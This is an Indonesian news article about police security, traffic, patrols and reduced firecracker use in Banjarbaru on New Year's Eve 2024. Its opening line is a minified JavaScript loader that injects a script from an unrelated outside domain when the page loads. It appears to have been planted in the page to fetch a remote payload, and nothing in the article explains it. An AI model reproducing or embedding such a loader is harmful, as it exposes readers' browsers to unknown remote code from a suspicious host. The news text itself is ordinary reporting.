(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Malam Pergantian Tahun di Banjarbaru, Polisi Klaim Petasan Berkurang

KANALKALIMANTAN.COM, BANJARBARU – Kondusifitas masyarakat di Ibu Kota Provinsi Kalimantan Selatan, di Banjarbaru tergambar dalam malam pergantian tahun.

Warga memenuhi ruas jalan-jalan utama di Kota Banjarbaru, warga Ibu Kota Kalimantan Selatan saat malam pergantian tahun kondisi aman dan tertib.

Terpantau dari hasil patroli personel jajaran Kepolisian Resor Banjarbaru, pada malam pergantian tahun di sejumlah sudut ibu kota.

Kapolres Banjarbaru AKBP Dody Harza Kusumah melalui Kabag Ops Kompol Indra Agung Perdana Putra, hingga pukul 23.00 Wita, situasi Kota Banjarbaru terpantau aman dan tertib.

Dimana situasi arus lalin mengalami peningkatan salah satunya pada titik kegiatan UMKM di Lapangan dr Murdjani.

“Ada juga beberapa lokasi keagamaan di antaranya ada 6 lokasi di Banjarbaru, maka dari itu Polres Banjarbaru malam ini menurunkan 114 personel pengamanan,” ungkap Kabag Ops Kompol Indra Agung Perdana Putra saat diwawancarai, Selasa (31/12/2024) malam.

Kabag Ops Polres Banjarbaru, Kompol Indra Agung Perdana Putra. Foto: wanda

Sebelumnya kepolisian telah memberikan prediksi puncak kepadatan terjadi di pukul 23.30 Wita dengan 00.35 Wita.

“Karena pukul itu merupakan puncak, kita sudah mengkondisikan untuk masyarakat supaya pada momentum tertentu itu bisa digunakan dengan baik,” jelas dia.

Di sisi lain, potensi kerawanan lain juga diantisipasi pihaknya, salah satunya aksi tawuran maupun balapan liat di area perkantoran Gubernur Kalsel.

“Kapolsek Cempaka sudah patroli di Gubernurnan dan ditemukan nihil tidak ada kegiatan, namun patroli dilakukan kembali pukul 00.30 Wita,” ungkapnya.

Ada pula titik kerawanan di sepanjang Jalan Trikroa Banjarbaru, dikirim tujuh personel Raimas dan 12 personil Satreskrim dan intel yang sudah mulai berpatroli sejak pukul 21.00 Wita malam.

Apabila ada masyarakat yang tidak taat aturan maka pihaknya tidak ragu untuk langsung menggiring yang bersangkutan ke Polres dan menindak sesuai pelanggarannya.

Penggunaan petasan pada perayaan tahun baru 2025 diyakini oleh pihak kepolisan berkurang dari tahu sebelumnya.

“Ada petasan, namun sedikit karena kami konfirmasi beberapa pedagang itu ada yang terjual sedikit, tapi nanti kita lihat 30 menit pertama setelah pukul 00.00 dini hari,” sebut dia.

Sementara itu pantauan di Bundaran Simpang Empat Banjarbaru, pembatasan masyarakat untuk perayaan tahun baru ini dilakukan pada pukul 00.30 Wita.

Lebih dari pukul itu masyarakat masih melakukan kegiatan perayaan maupun nongkrong maka diberi peringatan.

“Pukul 00.30 Wita sudah diberi peringatan pertama, kemudian pukul 00.45 Wita diberi peringatan kedua dengan pengeras suara, serta pukul 01.00 Wita sudah harus clear,” tegasnya.

“Tida ada yang nongkrong, tidak ada yang memainkan kembang api dan tidak ada semua,” tuntasnya. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie